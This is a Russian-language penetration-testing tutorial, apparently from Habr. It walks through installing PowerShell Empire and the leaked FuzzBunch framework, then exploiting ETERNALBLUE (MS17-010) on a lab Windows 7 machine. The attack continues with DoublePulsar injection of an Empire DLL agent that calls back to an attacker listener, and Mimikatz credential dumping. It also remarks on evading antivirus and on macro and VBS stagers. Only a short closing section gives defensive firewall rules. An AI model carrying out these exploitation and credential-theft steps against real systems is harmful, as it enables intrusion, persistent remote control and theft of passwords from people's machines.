Powershell Empire и FuzzBunch: эксплуатация нашумевшей уязвимости ETERNALBLUE

image
 
14 апреля 2017 года был опубликован новый дамп от группы хакеров, именующих себя The Shadow Brokers. Среди прочего в дампе находится фреймворк FuzzBunch, позволяющий эксплуатировать опасные RCE-уязвимости ОС Windows практически в автоматическом режиме. Данная уязвимость устранена с выходом пачта MS17–010: он устраняет шесть проблем Windows SMB Server, пять из которых позволяют выполнить произвольный код через создание специального пакета Server Message Block (SMB) 1.0. В данной статье мы рассмотрим возможность эксплуатации уязвимости ETERNALBLUE.

По умолчанию арсенал Kali Linux позволяет проводить множество атак на машины под управлением ОС Windows, но двух современных инструментов в ней не хватает. В данной статье речь пойдет об инструментах Empire и FuzzBunch, которыми стоит дополнить ваш дистрибутив, чтобы существенно расширить возможности для эксплуатации и постэксплуатации Windows систем в сети.

Powershell Empire


Powershell Empire предоставляет модульную платформу для пост-эксплуатации, используя возможности средства автоматизации ОС Windows PowerShell.
Empire агенты полностью работают в оперативной памяти и их сложно детектировать средствами защиты, т.е. антивирусным ПО и системами предотвращения вторжений из-за того, что они написаны на скриптовом языке и во время выполнения между агентом и антивирусным ПО стоит интерпретатор скриптового языка, в отличие от классических пейлоадов, скомпилированных в ассемблер и исполняемый файл.

Установка


Скачиваем Empire с github github.com/EmpireProject/Empire
Запускаем скрипт Empire/setup/install.sh для установки зависимостей в систему.
Далее запускаем скрипт для инициализации базы данных Empire/setup/setup_database.py
Установка завершена.

Запуск и базовая настройка


Запускаем фреймворк скриптом ./empire и попадаем в главное меню
 
1e9366a89c6b48fb9ea2fa6f79a5d738.png
 
Основные понятия, с которыми нам придется столкнуться это listener, stager и agent.
Listener — локальные IP адрес и порт, к которым должен подключаться агент при успешном выполнении на стороне жертвы.
Командой listeners переходим в режим конфигурирования листнера и создаем новый листнер по адресу 192.168.1.3:8080
 
fe7d0e3094ab45d1afb264a995d5b067.png
 
Как видим, порт теперь прослушивается:
 
645ecabd3837456ab35744e954261c95.png
 
Stager — способ доставки Powershell Empire агента на машине жертвы. По аналогии с фреймворком Metasploit, существует stage0 и stage1, где будем считать, что stage0 — способ доставки Empire агента, а stage1 — сам агент. На самом деле процесс доставки несколько сложнее, о чем можно подробно почитать на официальном сайте.
Командой usestager можно выбрать следующие варианты для stage0 (далее стейджер):
 
34491c15f7064043bec43a7aff477659.png
 
Самый распространенный стейджер — launcher, выберем его и настроим на подключение к листнеру test, который мы создали на предыдущем шаге.
 
265f30c49c894e1882b70eca815eed25.png
 
Далее можно настроить некоторые параметры для стейджера:
 
ab64f2612075421cadc7c7a3b57fb6e4.png
 
В частности опция Proxy по умолчанию выставлена в default, что означает использование системных настроек прокси на стороне жертвы.
Командой generate создается стейджер типа launcher.
 
cc4383c130c344528085aee306c02f98.png
 
Он представляет собой закодированную powershell команду в base64, которую необходимо выполнить на стороне жертвы.
Альтернативным способом генерации stage0 команды для стейджера launcher может быть команда
launcher [имя_листнера]
из меню listeners.
Есть и другие стейджеры, которые могут быть использованы в зависимости от ситуации. Перечислим основные из них.
  • launcher_bat — агент доставляется на машину жертвы при запуске bat-файла.
  • launcher_vbs — агент доставляется на машину жертвы при выполнении vbs-скрипта.
  • macro — будет сгенерирован код для макроса, который можно внедрить в документ MS Office.
  • dll — запуск powershell агента внутри процесса, отличного от powershell.exe при помощи техники Reflective DLL loading.

Стейджер dll позволяет интегрировать Empire с фреймворком Metasploit и другими современными инструментами. При помощи эксплойта требуется провести инъекцию вредоносной DLL в атакованный процесс, после чего произойдет загрузка Empire агента в оперативную память машины жертвы и его выполнение.
Запустим сгенерированный код нашего стейджера launcher на машине «жертве»:
 
408ec426d4334449b6a0930d39612cfb.png
 
На машине атакующего в интерфейсе Empire видим сообщение:
 
c4c26b2fed01460f813ebc9fa8999ef2.png
 
Это означает, что между машиной атакующего и машиной жертвы теперь установлено соединение и агент готов получать команды.
Для удобства можно переименовать агента:
 
d487b92c796b4beab75e6c0c30de69ef.png
 
Далее, для перехода в режим взаимодействия, выполним команду interact и при помощи команды help увидим доступные опции:
 
12b28c6827314c388438f2652bf02812.png
 

Постэксплуатация


После получения активной сессии с агентом нам доступно множество команд. Документацию по всем возможностям фреймворка можно найти на официальном сайте powershellempire.com.
 
91a779d590784af08e83c3a56de3652d.png
 
Все модули разбиты на группы. В качестве примера продемонстрируем работу нескольких модулей.
Модуль credentials/powerdump для сбора хэшей пользователей.
 
bd4e7a819f9846b89563de2031221c89.png
 
98c3f9b208d44a6dbb969de5c8a05212.png
 
Запуск mimikatz из меню агента Empire
 
d34f059840b947dda375107f29b4d08e.png
 
Получили пароль в открытом виде от поставщика WDijest
 
87622955b064492989513b8d52fb08b7.png
 

FuzzBunch


14 апреля 2017 года был опубликован новый дамп от группы хакеров, именующих себя The Shadow Brokers. Среди прочего в дампе находится фреймворк FuzzBunch, позволяющий эксплуатировать опасные RCE-уязвимости ОС Windows практически в автоматическом режиме. Основная порция обнародованных уязвимостей описана в бюллетене от Microsoft MS17–010. Так же для эксплуатации уязвимостей, обнародованных The Shadow Brokers, уже созданы модули для фреймворка Metasploit.

Установка


Для установки FuzzBunch вам понадобится либо 32-битная Windows машина, либо Kali Linux с установленным окружением Wine. Мы воспользуемся вторым вариантом, чтобы оба инструмента, Empire и FuzzBunch, находились в одном дистрибутиве. Загрузим файлы на свою машину Kali Linux с github
git clone github.com/fuzzbunch/fuzzbunch.git
Для работы FuzzBunch Нам потребуется Python 2.6 и, чтобы не захламлять ваше основное окружение Wine, я рекомендую создать новое. Для начала устанавливаем/обновляем Wine, если вы этого еще не сделали.
apt-get instal wine winbind
Создаем и инициализируем новое окружение
mkdir ~/.wine_fuzzbunch
WINEPREFIX=»/root/.wine_fuzzbunch/» winecfg
 
d14061de38e34b70a96a4a3dd7bc7aed.png
 
Оставляем все без изменения:
 
ae8fb115444542f7b0aab926eeaa4cfd.png
 
export WINEPREFIX=/root/.wine_fuzzbunch/
Проверяем, что окружение создалось успешно:
 
5597da0187a34413997499bca387e3fc.png
 
Добавляем в PATH требуемые директории
wine regedit.exe
 
a214530df8dd49e2a9f23f761e26130d.png
 
Устанавливаем fuzzbunch в окружение Wine:
mkdir -p ~/.wine_fuzzbunch/drive_c/nsa/windows
cd ~/.wine/drive_c/nsa/windows
cp -R [ваш_каталог_с_fuzzbunch]/*.
wget www.python.org/ftp/python/2.6/python-2.6.msi
wget downloads.sourceforge.net/project/pywin32/pywin32/Build%20219/pywin32–219.win32-py2.6.exe? r=&ts=1493192168&use_mirror=netcologne
Устанавливаем Python
wine msiexec /i python-2.6.msi

Устанавливаем pywin32
wine pywin32–219.win32-py2.6.exe
Постинсталляция:
wine cmd.exe
cd C:\Python26\Scripts
python pywin32_postinstall.py -install
cd C:\nsa\windows
mkdir listeningposts

Запуск и эксплуатация MS17–010


Из окружения Wine выполняем следующую команду:
 
5c52efc657aa4802a21dcc36436f2409.png
 
Будем атаковать 64-х битную Windows 7 машину с IP адресом 192.168.1.10, в то время как машина атакующего имеет IP адрес 192.168.1.3.
Задаем эти параметры при запуске.
Для выполнения вредоносного кода будем использовать уязвимость в протоколе SMB, которая носит название Eternalblue.
use Eternalblue
На вопрос о проверке параметров отвечаем утвердительно:
 
d7c6aa447fcd4bca9bb22d6890701345.png
 
Оставляем все без изменения, кроме пункта о методе доставки. Тут выбираем FB.
 
9a196ff33f8644dab00a7a80c322e683.png
 
В завершении запускаем модуль на выполнение и видим сообщение Eternalblue Succeeded.
 
eff0eb3714f843f6979d75a6f77c40ae.png
 

Постэксплуатация в связке с Powershell Empire


Создаем новый листенер:
 
ea433ccf737945c5b203c297a56d125e.png
 
В качестве механизма доставки агента используем на этот раз dll.
Если бы вы использовали Empire на отдельной машине, то для доставки стейджера на машину с FuzzBunch будет удобно сохранить его в каталог веб-сервера и затем скачать по сети.
 
05695288983a4813b3ccb22a94d66d54.png
 
Если у вас и Powershell Empire и FuzzBunch на одной машине, как в моем случае, то сохраняем файл в корень диска C окружения Wine.
 
ea2870ebd07041689ac0d9bf062638d6.png
 
Переходим снова в FuzzBunch, где открыта сессия с машиной жертвы, и используем модуль DoublePulsar.
use DoublePulsar
Выбираем 64-битную архитектуру:
 
2bc3e777aeee47ad8e8774b55dc168d7.png
 
В качестве пейлоада мы будем инжектировать DLL, созданную в Empire.
 
f1f494fae71a401e8c49bb4b1edee13e.png
 
Указываем полный путь до DLL:
 
b456e9616fbd47b597dc4e6194e228a1.png
 
C:\launcher.dll
Выполняем модуль:
 
32b5e75fe08b410b80de8b63f4f2aaa7.png
 
В интерфейсе Empire получаем новую сессию и выполняем Mimikatz.
 
ae0be39118b948b7adaecd7c2804090c.png
 
Получаем логины и пароли пользователей.
 
c78bb3f602b54671b9a5f429fac878ec.png
 
8f5c161216e7499e9f4d4fc463281ec8.png
 
В то же время операционная система жертвы не выявляет атаки. В журналах Microsoft Security Essentials пусто, система работает стабильно. Таким образом, наш дистрибутив Kali Linux приобрел два современных инструмента для эксплуатации и постэксплуатации ОС под управлением Windows.

Защитные меры


В качестве средств защиты рекомендуется обновить Windows системы (если вы этого еще по каким-то причинам не сделали), использовать средства обнаружения и блокирования атак — firewall и т.д.

Например это можно сделать с помощью следующих команд:
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name=«Block_TCP-135»
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name=«Block_TCP-445»

Комментарии (0)

© Habrahabr.ru